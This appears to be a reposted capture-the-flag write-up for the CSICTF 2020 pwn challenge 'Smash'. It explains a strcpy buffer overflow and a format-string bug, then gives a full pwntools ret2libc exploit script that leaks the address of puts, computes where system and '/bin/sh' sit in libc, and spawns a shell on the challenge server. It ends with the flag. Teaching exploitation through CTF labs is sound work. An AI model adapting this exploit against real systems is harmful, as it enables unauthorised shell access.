# Smash

*发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Pwn*
*Challenge | 2020 | CSICTF | Pwn | Smash*

*点击此处获得更好的阅读体验*

---

## *WriteUp来源*

*https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Smash.html*

*by `AnandSaminathan`*

## *题目描述*

## *题目考点*

## *解题思路*

*This time we got a 32-bit binary along with a libc. On inspecting the binary, we found that it contains two functions - `main` and `say_hello`. `main` takes the input (but it is some what secure) but `say_hello` has some issues - it copies a longer string (the input from main) to a shorter one using `strcpy`, so buffer overflow is possible, it also prints the string using `printf` without a format string, so format string vulnerability is also present.*

*And there is no code which prints a flag and system function is also not imported, so reverse shell has to be spawned using the `system` function and "/bin/sh" string (as a parameter to `system`) present in the libc. Using buffer overflow, the return address of `say_hello` can we overwritten with `system` along with "/bin/sh" as input, but their addresses are not deterministic because they are not used by the binary and libc has ASLR protection. One thing that is deterministic about `system` and "/bin/sh" is their offsets in libc itself (because we have the libc file). So using the vulnerabilities in `say_hello`, we had to:*

- *Find the base address of libc during runtime.*
- *Use the base address and the offsets to compute the correct addresses of `system` and "/bin/sh".*
- *Overwrite the return address of `say_hello` with `system`'s address with "/bin/sh" address as the parameter.*

*We tried finding the base address of libc using the format string vulnerability, it was 42 positions from the stack pointer, that exploit worked locally but didn't work in the server. So we used the `puts` function which was imported by the binary to leak libc base. As `puts` is imported by the binary, it has a GOT and PLT entry inside the binary and the binary is not position independent, so the address of GOT and PLT entries for `puts` is deterministic - with this intel, `puts` function can be called via buffer overflow (using PLT entry) and when calling `puts` if the parameter points to the GOT entry of `puts`, it will spit out the address of `puts` during runtime. The base address of libc will be the difference between the runtime address of `puts` and it's offset in libc. After leakinig the address, the control has to come back to `say_hello` or `main` to ensure that a reverse shell can be generated using the actual address of `system` and "/bin/sh" (with another buffer overflow).*

*This script worked:*

```
from pwn import *
elf = ELF('./hello')
libc = ELF('./libc.so.6')
io = remote('chall.csivit.com', 30046)
io.recvline()
# return to puts from say_hello, leak puts address and go back to main
payload = "A"*136 + "\xb0\x84\x04\x08\xf0\x84\x04\x08\x24\xa0\x04\x08"
io.sendline(payload)
io.recvline()
puts = io.recv(4)
io.recvline()
puts = u32(puts)
libc_base = puts - 0x5f150
system = libc_base + 0x3a950
binsh = libc_base + 0x15910b
# spawn shell
payload = b"A"*136 + p32(system) + b"A"*4 + p32(binsh)
io.recvline()
io.sendline(payload)
io.interactive()
```

*After getting a shell, there was a file called `flag.txt` which contained the flag.*

## Flag

```
csictf{5up32_m4210_5m45h_8202}
```